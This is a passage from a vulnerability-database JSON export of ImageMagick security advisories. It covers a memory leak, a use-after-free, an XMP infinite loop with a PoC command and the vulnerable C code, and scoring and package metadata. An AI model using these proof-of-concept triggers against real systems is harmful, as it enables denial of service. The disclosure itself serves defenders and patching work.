ASAN_OPTIONS=\"detect_leaks=1:symbolize=1\"\n./utilities/magick -size 100x100 xc:red output.png\n```\n\n**ASAN Output:**\n\n```\n=================================================================\n==2543490==ERROR: LeakSanitizer: detected memory leaks\n\nDirect leak of 96 byte(s) in 2 object(s) allocated from:\n    #0 ... in AcquireMagickMemory MagickCore/memory.c:536\n    #1 ... in LoadOpenCLDeviceBenchmark MagickCore/opencl.c:807\n\nDirect leak of 16 byte(s) in 1 object(s) allocated from:\n    #0 ... in ConstantString MagickCore/string.c:692\n    #1 ... in LoadOpenCLDeviceBenchmark MagickCore/opencl.c:878  ← name\n\nDirect leak of 14 byte(s) in 1 object(s) allocated from:\n    #0 ... in ConstantString MagickCore/string.c:692\n    #1 ... in LoadOpenCLDeviceBenchmark MagickCore/opencl.c:885  ← platform_name\n\nDirect leak of 14 byte(s) in 1 object(s) allocated from:\n    #0 ... in ConstantString MagickCore/string.c:692\n    #1 ... in LoadOpenCLDeviceBenchmark MagickCore/opencl.c:898  ← vendor_name\n\nDirect leak of 15 byte(s) in 1 object(s) allocated from:\n    #0 ... in ConstantString MagickCore/string.c:692\n    #1 ... in LoadOpenCLDeviceBenchmark MagickCore/opencl.c:900  ← version\n\nSUMMARY: AddressSanitizer: 203 byte(s) leaked in 18 allocation(s).\n```\n\n---\n\n### Impact\n\n**Vulnerability Type:** CWE-401 (Missing Release of Memory after Effective Lifetime)\n\n**Severity:** Low\n\n**Who is impacted:**\n- Users who have OpenCL enabled in ImageMagick\n- Systems where an attacker can place or modify files in the OpenCL cache directory (`~/.cache/ImageMagick/`)\n- Long-running ImageMagick processes or services that repeatedly initialize OpenCL\n\n**Potential consequences:**\n- Memory exhaustion over time if the malformed configuration is repeatedly loaded\n- Denial of Service (DoS) in resource-constrained environments\n\n**Attack Vector:** Local - requires write access to the user's OpenCL cache directory","references":[{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.2","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.2"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-qp59-x883-77qv","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-qp59-x883-77qv"},{"reference_url":"https://github.com/advisories/GHSA-qp59-x883-77qv","reference_id":"GHSA-qp59-x883-77qv","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-qp59-x883-77qv"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67434?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-15ny-qqbj-qyfk"},{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-29r3-kvf4-n3hc"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-5uyd-bv33-h7g1"},{"vulnerability":"VCID-5xqd-gf3b-4ygw"},{"vulnerability":"VCID-5zkt-kcgx-a3e2"},{"vulnerability":"VCID-62ar-kwbq-nyh3"},{"vulnerability":"VCID-69f6-ceje-hyah"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-6rma-wjdv-uqe9"},{"vulnerability":"VCID-6ztv-auh8-27gx"},{"vulnerability":"VCID-acsa-1uwk-fqee"},{"vulnerability":"VCID-anyp-2jr7-73a1"},{"vulnerability":"VCID-b5pd-kk97-gban"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cbqr-aybx-d3e6"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-d8yf-8rff-3yhf"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-dtza-65ku-aber"},{"vulnerability":"VCID-emmr-15qp-vfah"},{"vulnerability":"VCID-f1zu-xb4j-8qhp"},{"vulnerability":"VCID-fnck-7mvx-hqc9"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-gdg8-aejn-83c4"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-jcjk-s89c-mbbm"},{"vulnerability":"VCID-jvq6-xjbu-fkb9"},{"vulnerability":"VCID-kdw5-8y5z-zya5"},{"vulnerability":"VCID-kefv-kpkk-wudf"},{"vulnerability":"VCID-mntx-6yku-3qcx"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-p5aw-n691-nkff"},{"vulnerability":"VCID-pcme-bwan-3bcf"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sd54-b8z1-2fg7"},{"vulnerability":"VCID-sd7w-6qv5-73ge"},{"vulnerability":"VCID-sdc2-fcap-abaz"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-tv15-dcnu-pbbn"},{"vulnerability":"VCID-utfe-h3b7-jqcj"},{"vulnerability":"VCID-uvpj-a8v5-ebgz"},{"vulnerability":"VCID-vpdn-g1k9-1kdn"},{"vulnerability":"VCID-x44m-x33k-hydn"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-xbsu-ac6g-53fn"},{"vulnerability":"VCID-y4hn-6bv6-jugw"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-yx7r-r7ez-7uhp"},{"vulnerability":"VCID-zab9-9tqj-hbhg"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"},{"vulnerability":"VCID-zx14-t8et-ufcq"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.2"}],"aliases":["GHSA-qp59-x883-77qv"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-6meg-yjby-a7gj"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/20940?format=json","vulnerability_id":"VCID-6rma-wjdv-uqe9","summary":"mageMagick has a possible use-after-free write in its PDB decoder\nA use-after-free vulnerability exists in the PDB decoder that will use a stale pointer when a memory allocation fails and that could result in a crash or a single zero byte write.\n\n```\n==4033155==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 (pc 0x5589c1971b24 bp 0x7ffdcc7ae2d0 sp 0x7ffdcc7adb20 T0)\n```\n\n```\n==4034812==ERROR: AddressSanitizer: heap-use-after-free on address 0x7f099e9f7800 at pc 0x5605d909ab20 bp 0x7ffe52045b50 sp 0x7ffe52045b40\nWRITE of size 1 at 0x7f099e9f7800 thread T0\n```","references":[{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/168ffe18def968f886c023146a478897866fd621","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/168ffe18def968f886c023146a478897866fd621"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-3j4x-rwrx-xxj9","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"LOW","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-3j4x-rwrx-xxj9"},{"reference_url":"https://github.com/advisories/GHSA-3j4x-rwrx-xxj9","reference_id":"GHSA-3j4x-rwrx-xxj9","reference_type":"","scores":[{"value":"LOW","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-3j4x-rwrx-xxj9"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["GHSA-3j4x-rwrx-xxj9"],"risk_score":1.6,"exploitability":"0.5","weighted_severity":"3.3","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-6rma-wjdv-uqe9"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/29857?format=json","vulnerability_id":"VCID-6t7d-2hre-sqbw","summary":"ImageMagick has XMP profile write that triggers hang due to unbounded loop\n### Summary\nInfinite lines occur when writing during a specific XMP file conversion command\n### Details\n```\n#0  GetXmpNumeratorAndDenominator (denominator=<optimized out>, numerator=<optimized out>, value=<optimized out>) at MagickCore/profile.c:2578\n#1  GetXmpNumeratorAndDenominator (denominator=<synthetic pointer>, numerator=<synthetic pointer>, value=720000000000000) at MagickCore/profile.c:2564\n#2  SyncXmpProfile (image=image@entry=0x555555bb9ea0, profile=0x555555b9d020) at MagickCore/profile.c:2605\n#3  0x00005555555db5cf in SyncImageProfiles (image=image@entry=0x555555bb9ea0) at MagickCore/profile.c:2651\n#4  0x0000555555798d4f in WriteImage (image_info=image_info@entry=0x555555bc2050, image=image@entry=0x555555bb9ea0, exception=exception@entry=0x555555b7bea0) at MagickCore/constitute.c:1288\n#5  0x0000555555799862 in WriteImages (image_info=image_info@entry=0x555555bb69c0, images=<optimized out>, images@entry=0x555555bb9ea0, filename=<optimized out>, exception=0x555555b7bea0) at MagickCore/constitute.c:1575\n#6  0x00005555559650c4 in CLINoImageOperator (cli_wand=cli_wand@entry=0x555555b85790, option=option@entry=0x5555559beebe \"-write\", arg1n=arg1n@entry=0x7fffffffe2c7 \"a.mng\", arg2n=arg2n@entry=0x0) at MagickWand/operation.c:4993\n#7  0x0000555555974579 in CLIOption (cli_wand=cli_wand@entry=0x555555b85790, option=option@entry=0x5555559beebe \"-write\") at MagickWand/operation.c:5473\n#8  0x00005555559224aa in ProcessCommandOptions (cli_wand=cli_wand@entry=0x555555b85790, argc=argc@entry=3, argv=argv@entry=0x7fffffffdfa8, index=index@entry=1) at MagickWand/magick-cli.c:758\n#9  0x000055555592276d in MagickImageCommand (image_info=image_info@entry=0x555555b824a0, argc=argc@entry=3, argv=argv@entry=0x7fffffffdfa8, metadata=metadata@entry=0x7fffffffbc10, exception=exception@entry=0x555555b7bea0) at MagickWand/magick-cli.c:1392\n#10 0x00005555559216a0 in MagickCommandGenesis (image_info=image_info@entry=0x555555b824a0, command=command@entry=0x555555922640 <MagickImageCommand>, argc=argc@entry=3, argv=argv@entry=0x7fffffffdfa8, metadata=0x0, exception=exception@entry=0x555555b7bea0) at MagickWand/magick-cli.c:177\n#11 0x000055555559f76b in MagickMain (argc=3, argv=0x7fffffffdfa8) at utilities/magick.c:162\n#12 0x00007ffff700fd90 in __libc_start_call_main (main=main@entry=0x55555559aec0 <main>, argc=argc@entry=3, argv=argv@entry=0x7fffffffdfa8) at ../sysdeps/nptl/libc_start_call_main.h:58\n#13 0x00007ffff700fe40 in __libc_start_main_impl (main=0x55555559aec0 <main>, argc=3, argv=0x7fffffffdfa8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdf98) at ../csu/libc-start.c:392\n#14 0x000055555559f535 in _start ()\n```\n```\nstatic void GetXmpNumeratorAndDenominator(double value,\n  unsigned long *numerator,unsigned long *denominator)\n{\n  double\n    df;\n\n  *numerator=0;\n  *denominator=1;\n  if (value <= MagickEpsilon)\n    return;\n  *numerator=1;\n  df=1.0;\n  while(fabs(df - value) > MagickEpsilon)\n  {\n    if (df < value)\n      (*numerator)++;\n    else\n      {\n        (*denominator)++;\n        *numerator=(unsigned long) (value*(*denominator));\n      }\n    df=*numerator/(double)*denominator;\n  }\n}\n```\nIn this code, the loop `while(fabs(df - value) > MagickEpsilon)` keeps repeating endlessly.\n\n### PoC\n`magick hang a.mng`\nhttps://drive.google.com/file/d/1iegkwlTjqnJTtM4XkiheYsjKsC6pxtId/view?usp=sharing\n\n### Impact\nXMP profile write triggers hang due to unbounded loop\n\n\n### credits\n**Team Pay1oad DVE** \n\n**Reporter** :  **Shinyoung Won** (with contributions from **WooJin Park, DongHa Lee, JungWoo Park, Woojin Jeon, Juwon Chae**, **Kyusang Han, JaeHun Gou**)\n\n**yosimich(@yosiimich**) **Shinyoung Won** of SSA Lab\n\ne-mail : [yosimich123@gmail.com]\n\n**Woojin Jeon**\n\nGtihub : brainoverflow\n\ne-mail : [root@brainoverflow.kr]\n\n**WooJin Park**\n\nGitHub : jin-156\n\ne-mail : [1203kids@gmail.com]\n\n**Who4mI(@GAP-dev) Lee DongHa of SSA Lab**\n\nGithub: GAP-dev\n\ne-mail : [ceo@zeropointer.co.kr]\n\n**JungWoo Park**\n\nGithub : JungWooJJING\n\ne-mail : [cuby5577@gmail.com]\n\n**Juwon Chae** \n\nGithub : I_mho\n\ne-mail : [wndnjs4698@naver.com]\n\n**Kyusang Han**\n\nGithub : T1deSEC\n\ne-mail : [hksjoe0081@gmail.com]\n\n**JaeHun Gou**\n\nGithub : P2GONE\n\ne-mail : [charly20@naver.com]\n\n### Commits\nFixed in: https://github.com/ImageMagick/ImageMagick/commit/229fa96a988a21d78318bbca61245a6ed1ee33a0 and https://github.com/ImageMagick/ImageMagick/commit/38631605e6ab744548a561797472cf8648bcfe26","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-53015.json","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-53015.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2025-53015","reference_id":"","reference_type":"","scores":[{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.17948","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.18108","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.1786","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.18161","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00064","scoring_system":"epss","scoring_elements":"0.19818","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00064","scoring_system":"epss","scoring_elements":"0.19805","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00064","scoring_system":"epss","scoring_elements":"0.19802","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00064","scoring_system":"epss","scoring_elements":"0.19829","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00064","scoring_system":"epss","scoring_elements":"0.19887","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00064","scoring_system":"epss","scoring_elements":"0.19931","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00064","scoring_system":"epss","scoring_elements":"0.19922","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00064","scoring_system":"epss","scoring_elements":"0.19674","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00064","scoring_system":"epss","scoring_elements":"0.19707","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00064","scoring_system":"epss","scoring_elements":"0.19715","published_at":"2026-04-24T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2025-53015"},{"reference_url":"https://drive.google.com/file/d/1iegkwlTjqnJTtM4XkiheYsjKsC6pxtId/view?usp=sharing","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:14:20Z/"}],"url":"https://drive.google.com/file/d/1iegkwlTjqnJTtM4XkiheYsjKsC6pxtId/view?usp=sharing"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.7.0","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.7.0"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/229fa96a988a21d78318bbca61245a6ed1ee33a0","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/229fa96a988a21d78318bbca61245a6ed1ee33a0"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/38631605e6ab744548a561797472cf8648bcfe26","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/38631605e6ab744548a561797472cf8648bcfe26"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-vmhh-8rxq-fp9g","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:14:20Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-vmhh-8rxq-fp9g"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2025-53015","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-53015"},{"reference_url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1109339","reference_id":"1109339","reference_type":"","scores":[],"url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1109339"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2379948","reference_id":"2379948","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2379948"},{"reference_url":"https://github.com/advisories/GHSA-vmhh-8rxq-fp9g","reference_id":"GHSA-vmhh-8rxq-fp9g","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-vmhh-8rxq-fp9g"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/570675?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.7.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-15ny-qqbj-qyfk"},{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-29r3-kvf4-n3hc"},{"vulnerability":"VCID-2gw3-qfan-jygd"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-569d-6nue-5kbq"},{"vulnerability":"VCID-5uyd-bv33-h7g1"},{"vulnerability":"VCID-5xqd-gf3b-4ygw"},{"vulnerability":"VCID-5zkt-kcgx-a3e2"},{"vulnerability":"VCID-62ar-kwbq-nyh3"},{"vulnerability":"VCID-69f6-ceje-hyah"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-6meg-yjby-a7gj"},{"vulnerability":"VCID-6rma-wjdv-uqe9"},{"vulnerability":"VCID-6ztv-auh8-27gx"},{"vulnerability":"VCID-a2qm-vkc3-qkd5"},{"vulnerability":"VCID-acsa-1uwk-fqee"},{"vulnerability":"VCID-anyp-2jr7-73a1"},{"vulnerability":"VCID-b43n-3d1g-u3fe"},{"vulnerability":"VCID-b5pd-kk97-gban"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cbqr-aybx-d3e6"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-d8yf-8rff-3yhf"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-dtza-65ku-aber"},{"vulnerability":"VCID-ef36-52cx-dfg5"},{"vulnerability":"VCID-emmr-15qp-vfah"},{"vulnerability":"VCID-f1zu-xb4j-8qhp"},{"vulnerability":"VCID-fnck-7mvx-hqc9"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-gdg8-aejn-83c4"},{"vulnerability":"VCID-h221-qd8d-tqa5"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-jcjk-s89c-mbbm"},{"vulnerability":"VCID-jvq6-xjbu-fkb9"},{"vulnerability":"VCID-kdw5-8y5z-zya5"},{"vulnerability":"VCID-kefv-kpkk-wudf"},{"vulnerability":"VCID-mntx-6yku-3qcx"},{"vulnerability":"VCID-mxg1-261s-nbds"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-p5aw-n691-nkff"},{"vulnerability":"VCID-pcme-bwan-3bcf"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-r889-wzc7-1yem"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sd54-b8z1-2fg7"},{"vulnerability":"VCID-sd7w-6qv5-73ge"},{"vulnerability":"VCID-sdc2-fcap-abaz"},{"vulnerability":"VCID-spch-fffg-4yc5"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-tv15-dcnu-pbbn"},{"vulnerability":"VCID-utfe-h3b7-jqcj"},{"vulnerability":"VCID-uvpj-a8v5-ebgz"},{"vulnerability":"VCID-uwj5-1fkf-7qg9"},{"vulnerability":"VCID-vaks-d4k5-zue7"},{"vulnerability":"VCID-vbdt-31wd-v3h8"},{"vulnerability":"VCID-vkp6-wh22-eqap"},{"vulnerability":"VCID-vpdn-g1k9-1kdn"},{"vulnerability":"VCID-x44m-x33k-hydn"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-xbsu-ac6g-53fn"},{"vulnerability":"VCID-y4hn-6bv6-jugw"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-yx7r-r7ez-7uhp"},{"vulnerability":"VCID-zab9-9tqj-hbhg"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"},{"vulnerability":"VCID-zx14-t8et-ufcq"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.7.0"}],"aliases":["CVE-2025-53015","GHSA-vmhh-8rxq-fp9g"],"risk_score":4.0,"exploitability":"0.5","weighted_severity":"8.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-6t7d-2hre-sqbw"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/20982?format=json","vulnerability_id":"VCID-6ztv-auh8-27gx","summary":"ImageMagick: Memory Leak in multiple coders that write raw pixel data\nA memory leak vulnerability exists in multiple coders that write raw pixel data where an object is not freed. \n\n```\nDirect leak of 160 byte(s) in 1 object(s) allocated from:\n```","references":[{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/fe0a49a58ac5b7a18ff2618b6207dcad71123e43","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/fe0a49a58ac5b7a18ff2618b6207dcad71123e43"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-wfx3-6g53-9fgc","reference_id":"","reference_type":"","scores":[{"v